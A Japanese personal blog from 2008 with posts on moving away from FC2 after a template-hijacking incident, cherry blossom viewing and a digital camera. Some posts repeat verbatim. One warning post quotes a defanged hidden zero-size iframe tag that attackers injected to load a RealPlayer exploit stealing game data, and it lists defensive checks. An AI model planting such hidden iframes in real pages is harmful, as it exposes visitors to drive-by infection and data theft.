だってオンラインゲームやってない人のブログだって改ざんされてる恐れあるんだもの。
とりあえず移住できるかどうかSeeSaaブログでためしてるんですが
FC2のバックアップツールでバックアップしたデータはカテゴリも追記も
苦もなくアップできたんですが
FC2独自の絵文字とかコメント方式は多少変更しないとだめくさい
へんなフラグがそのままでてしまうので…
まぁ一括置換でいけそうな感じではあるけど…
やっぱネックは画像です
Livedoor時代のは外部リンク可能なので
Livedoorにおいたままの画像にリンクしてOKなんですがー。
FC2のはやっぱ外部リンク不可で「×」になってしまいます。
（FireFoxでみたら見れるんだけどね＠ｗ＠）
まぁ手動で画像アップしなおし＆MTファイル（約２年分）の画像パス置換せねばなのですが。
５０００枚近く画像があるのでだるすぎて…。
ダウンロードはGetHTMLでなんとかやってるんですが
アップロードが。。。＿|￣|○。。
FTPみたいに一気にアップロードできればいいんですが。。
別にFC2がちゃんとウィルス対策してくれれば
ここにいたいですよ(´・ω・`)
でも毎日改ざんされてないかテンプレのチェックしたり
FC2はパソコンじゃ怖くてみれん！
なんて話でたりで
あたしがホサレタような気分になるのさ（´д｀：）
もし画像がアップできるようなソフトあったらおしえてください(´・ω・`)
一応FC2Uploadってのを見つけてつかってみたんだけど
なんかうまくいかない…。
ライブドアブログにもどって有料コースにすればFTPつかえるのか…
でも戻りたくないワナ。
過去ログはもうええわって諦められたら
別にどこでもいいんですがのぉｗ
今回の件で移住する人多そうだ。。
既に移住してる人もちらほら＠ｗ＠
今年こそ造幣局へ
2008年03月27日（木）
広島でも桜が咲きはじめました
朝の情報番組で中継してたんですけど
東京は今週末がみごろだとか
あっちのほうが早く咲くんですよね
緯度的には北でもあっちのほうが暖かいということなのかしら
もう６年前になりますが
2002年に東京にいってたときは
記録的に開花が早かったのか
3/21の春分の日には満開でした
コートいらないぐらい暖冬だったし。。
入学式のころには葉桜なんてかんじで。
隅田川や上野恩賜公園あたりをひとりでうろうろしました
黄砂すごかったけど。。
隅田川(2002)
上野恩賜公園(2002)
2002年は広島と東京で開花の差が激しかったので
広島に帰ってからもおはなみができてかなりよかったです(・ω・)
今年も東京と広島では１週間ぐらい差がありそう
広島はまだほとんど枝です
五日市の造幣局の花のまわりみちのスケジュールもでてました
今年は
平成２０年４月１７日（木曜日）から４月２３日（水曜日）までの７日間
午前１０時から午後８時まで
ってことらしいです
去年は教えて貰ったのにいかなかったから
今年は行こう〜ｗ
朝の情報番組で中継してたんですけど
東京は今週末がみごろだとか
あっちのほうが早く咲くんですよね
緯度的には北でもあっちのほうが暖かいということなのかしら
もう６年前になりますが
2002年に東京にいってたときは
記録的に開花が早かったのか
3/21の春分の日には満開でした
コートいらないぐらい暖冬だったし。。
入学式のころには葉桜なんてかんじで。
隅田川や上野恩賜公園あたりをひとりでうろうろしました
黄砂すごかったけど。。
隅田川(2002)
上野恩賜公園(2002)
2002年は広島と東京で開花の差が激しかったので
広島に帰ってからもおはなみができてかなりよかったです(・ω・)
今年も東京と広島では１週間ぐらい差がありそう
広島はまだほとんど枝です
五日市の造幣局の花のまわりみちのスケジュールもでてました
今年は
平成２０年４月１７日（木曜日）から４月２３日（水曜日）までの７日間
午前１０時から午後８時まで
ってことらしいです
去年は教えて貰ったのにいかなかったから
今年は行こう〜ｗ
引越し先を
2008年03月26日（水）
例のアカハック＆テンプレ改ざんの事件のせいで
めちゃくちゃ不安になってしまいました(´・ω・`)
FC2側もブログ管理者側に問題あるんじゃね？って態度みたいなんですが
・パスワードを毎日変えていた（最大の16文字で設定）
・毎日ウィルスチェックをしていた
にもかかわらず改ざんされた例もあるようなので
テンプレ格納してるDBが直接書き換えられている可能性もあるらしく…
ちゃんと調査してくれてるのかな…。
特にこういうことが起こってますっていう公式アナウンスもないし。
対応はしてもらえないかもしれない。
うちは今のところ汚染されてないけどいつくるかわからないし。
多くの人が「このままじゃ閉鎖するしかない」と言っておられます。
どこのブログに移動しても同じような恐怖は付きまとうのだけど
とりあえず引越したい気持ちでいっぱい。。
でもまたここの記事を移行できるのかどうか…という問題がもちあがりますわな。。
記事はいけそうなんですが問題は膨大な画像と
画像リンクの張替えではなかろうかとおもったり。
ライブドアから来た時にはですね
ライブドアの画像リンクが外部からでもいけたみたいで
そのままライブドアのブログを削除しなかったら
画像も生きてていけたんですわｗ
fc2はそれがダメなので。。
悩ましいです。
やるとしたら今のブログの画像をGETHTMLとかで一括ダウンロード
エクスポートしたMTファイルの画像URL一括置換
画像は頑張ってアップロード…（結局力技
あとは引越し先のブログサービスも決まりません。
FC2みたいに自由度が高いところはなかなかないですからねぇ。。
こまったのぉ。。
Amebaも考えたけど（引越しツールあるみたいだし）
追記で書いた部分は引越しできませんとか（´д｀：）
なんでやｗ
あとAmebaはメンテ多い＆自由度低すぎ…
でもIFRAMEやスクリプトは埋め込み禁止になってるので
とりあえず安心はできるかもしれない…。
Seesaaも考えたけど再構築作業がいるらしいの
今は再構築作業いらないので楽ちんなんですが
ライブドアの頃を思いだします。
（Seesaaの初期社員はライブドア社員だからしょうがない）
慣れるもんなのかしら。。。
自由度は高そうなので色々出来て楽しそうではあるんですが。
面倒そうじゃなかったら引越してもいいのだけど…
オススメのブログサービスありましたらおしえてください(´・ω・`)
・携帯で投稿できる
・携帯で閲覧できる
・今の記事がエクスポートできる
・画像大量アップするので容量でかいほうがいい
最低条件はこれぐらい…
めちゃくちゃ不安になってしまいました(´・ω・`)
FC2側もブログ管理者側に問題あるんじゃね？って態度みたいなんですが
・パスワードを毎日変えていた（最大の16文字で設定）
・毎日ウィルスチェックをしていた
にもかかわらず改ざんされた例もあるようなので
テンプレ格納してるDBが直接書き換えられている可能性もあるらしく…
ちゃんと調査してくれてるのかな…。
特にこういうことが起こってますっていう公式アナウンスもないし。
対応はしてもらえないかもしれない。
うちは今のところ汚染されてないけどいつくるかわからないし。
多くの人が「このままじゃ閉鎖するしかない」と言っておられます。
どこのブログに移動しても同じような恐怖は付きまとうのだけど
とりあえず引越したい気持ちでいっぱい。。
でもまたここの記事を移行できるのかどうか…という問題がもちあがりますわな。。
記事はいけそうなんですが問題は膨大な画像と
画像リンクの張替えではなかろうかとおもったり。
ライブドアから来た時にはですね
ライブドアの画像リンクが外部からでもいけたみたいで
そのままライブドアのブログを削除しなかったら
画像も生きてていけたんですわｗ
fc2はそれがダメなので。。
悩ましいです。
やるとしたら今のブログの画像をGETHTMLとかで一括ダウンロード
エクスポートしたMTファイルの画像URL一括置換
画像は頑張ってアップロード…（結局力技
あとは引越し先のブログサービスも決まりません。
FC2みたいに自由度が高いところはなかなかないですからねぇ。。
こまったのぉ。。
Amebaも考えたけど（引越しツールあるみたいだし）
追記で書いた部分は引越しできませんとか（´д｀：）
なんでやｗ
あとAmebaはメンテ多い＆自由度低すぎ…
でもIFRAMEやスクリプトは埋め込み禁止になってるので
とりあえず安心はできるかもしれない…。
Seesaaも考えたけど再構築作業がいるらしいの
今は再構築作業いらないので楽ちんなんですが
ライブドアの頃を思いだします。
（Seesaaの初期社員はライブドア社員だからしょうがない）
慣れるもんなのかしら。。。
自由度は高そうなので色々出来て楽しそうではあるんですが。
面倒そうじゃなかったら引越してもいいのだけど…
オススメのブログサービスありましたらおしえてください(´・ω・`)
・携帯で投稿できる
・携帯で閲覧できる
・今の記事がエクスポートできる
・画像大量アップするので容量でかいほうがいい
最低条件はこれぐらい…
My Lumix
2008年03月26日（水）
あたしの使ってるデジカメ
Lumix DMC-FX9
それまでは300万画素クラスのNikonのデジカメをつかってたんですが
立ち上がり遅かったりデータ消えたりトラブルが激しかったので
衝動的に買い買えたシロモノ
Lumixはレンズはライカだし評価も高いのですが
出来上がりの写真の発色はNikonのほうが好みです
やっぱカメラメーカーやねとおもいましたが
キャノンは結構派手目発色らしいです
メーカーによって違うんですねぇ。
いまはLumixの方が長く使っているし
可もなく不可もなくにおもえてきたんですが
今流行り（？）の広角レンズのものがほしくなったりしてます。。
最新のLumixは広角25ミリなんですよ〜
ほしいなぁ。。ｗ
Nikonのほうがまだ広角気味でした
本当に今もってるLumixは視野せまいです。
まぁ広角レンズも良し悪しですけどね
サイドがゆがんだりするみたいなので。
もうしばらくは今のデジカメに頑張って貰って
１年後に今の最新モデルを買おうかなとおもったりしてます（笑
あたしのモデルは３年くらい前のものなのですが
今や5,000円ぐらいで取引されております（苦笑
来年今のFX35とう機種が1万円ぐらいになってたらいいなｗ
【追記しました】テンプレートの改ざんとウイルスサイトへのリンク
2008年03月26日（水）
FC2ってハックされとるらしーでーという情報をいただき
遅ればせながら調べましたら
FC2ブログの歩き方ブログさんに詳しく載ってました
勝手にテンプレートが改善され
＜iframe src="httｐ://ｗww■dda3■net" width="0" height="0"＞＜/iframe＞
というタグが挿入されていたそうです
RealPlayer脆弱性を利用して
PC内のオンラインゲームのデータを盗むらしいです
可能性としては
・FC2本体がハックされた
・個人の管理者ページがハックされた
という可能性があるらしく
とにかくできることは
・セキュリティソフトの導入
・FC2のパスの変更
・テンプレートに「 width="0" height="0"」の「iframe」が挿入されていないことを確認
オンラインゲームの日記を書いてる人が狙われているようなので
うちも昔かいていたので例外ではないと思い
きちんと調べました。
うちで対応したこと、導入していること
・コメントにURLを記入できないようにしている
・スパムは見つけ次第削除
・セキュリティソフト導入
・RealPlayerはアンインストール
・FC2のパス変更（今日しました）
・テンプレートのチェック（先ほどしましたが該当のタグはみつかりませんでした）
引越しも一瞬考えましたが
FC2ブログの歩き方ブログさんにも書かれているように
どこのブログに行ってもブログのアカパスを盗まれたら改ざんはされてしまいますので…
今のところは自己防衛するしかないです。
こちらの記事も読んでください
FC2ブログユーザーフォーラムにも、iframe不適切ブログへのリンク
うちにもよくゲームの記事にスパムを書き込まれますが
なんでこんなふるい記事に？と思ってましたが
きっと書き込んであるURLをのぞくと汚染されるんだとおもいます。
すぐに削除対応できないときもあるので
絶対に怪しいURLはクリックしないようにお願いします。
幸いうちのブログは汚染されていなかったけど
こういうことがあるとブログを続けていくのが嫌になります。
ゲームの日記を書いていらっしゃるかた気をつけてくださいね。
これからも対応は続けていきます。
よろしくお願いします。
追記
IFRAMEについてこちらの記事が詳しかったのでURLをのせときます
たるたるアンミラ★Z IFRAMEは危険？
セキュリティ対策はこちら
リネージュ資料室
オンラインウィルススキャン
http://www.kaspersky.co.jp/virusscanner
更に追記
フォーラムでも議論になっています
このほどFC2は新管理画面に移行しましたが
そこにセキュリティホールがあるんですかね。。
SSLログインになってないし…怖くなってきた（´д｀：）
引越しをジミに検討します。
遅ればせながら調べましたら
FC2ブログの歩き方ブログさんに詳しく載ってました
勝手にテンプレートが改善され
＜iframe src="httｐ://ｗww■dda3■net" width="0" height="0"＞＜/iframe＞
というタグが挿入されていたそうです
RealPlayer脆弱性を利用して
PC内のオンラインゲームのデータを盗むらしいです
可能性としては
・FC2本体がハックされた
・個人の管理者ページがハックされた
という可能性があるらしく
とにかくできることは
・セキュリティソフトの導入
・FC2のパスの変更
・テンプレートに「 width="0" height="0"」の「iframe」が挿入されていないことを確認
オンラインゲームの日記を書いてる人が狙われているようなので
うちも昔かいていたので例外ではないと思い
きちんと調べました。
うちで対応したこと、導入していること
・コメントにURLを記入できないようにしている
・スパムは見つけ次第削除
・セキュリティソフト導入
・RealPlayerはアンインストール
・FC2のパス変更（今日しました）
・テンプレートのチェック（先ほどしましたが該当のタグはみつかりませんでした）
引越しも一瞬考えましたが
FC2ブログの歩き方ブログさんにも書かれているように
どこのブログに行ってもブログのアカパスを盗まれたら改ざんはされてしまいますので…
今のところは自己防衛するしかないです。
こちらの記事も読んでください
FC2ブログユーザーフォーラムにも、iframe不適切ブログへのリンク
うちにもよくゲームの記事にスパムを書き込まれますが
なんでこんなふるい記事に？と思ってましたが
きっと書き込んであるURLをのぞくと汚染されるんだとおもいます。
すぐに削除対応できないときもあるので
絶対に怪しいURLはクリックしないようにお願いします。
幸いうちのブログは汚染されていなかったけど
こういうことがあるとブログを続けていくのが嫌になります。
ゲームの日記を書いていらっしゃるかた気をつけてくださいね。
これからも対応は続けていきます。
よろしくお願いします。
追記
IFRAMEについてこちらの記事が詳しかったのでURLをのせときます
たるたるアンミラ★Z IFRAMEは危険？
セキュリティ対策はこちら
リネージュ資料室
オンラインウィルススキャン
http://www.kaspersky.co.jp/virusscanner
更に追記
フォーラムでも議論になっています
このほどFC2は新管理画面に移行しましたが
そこにセキュリティホールがあるんですかね。。
SSLログインになってないし…怖くなってきた（´д｀：）
引越しをジミに検討します。
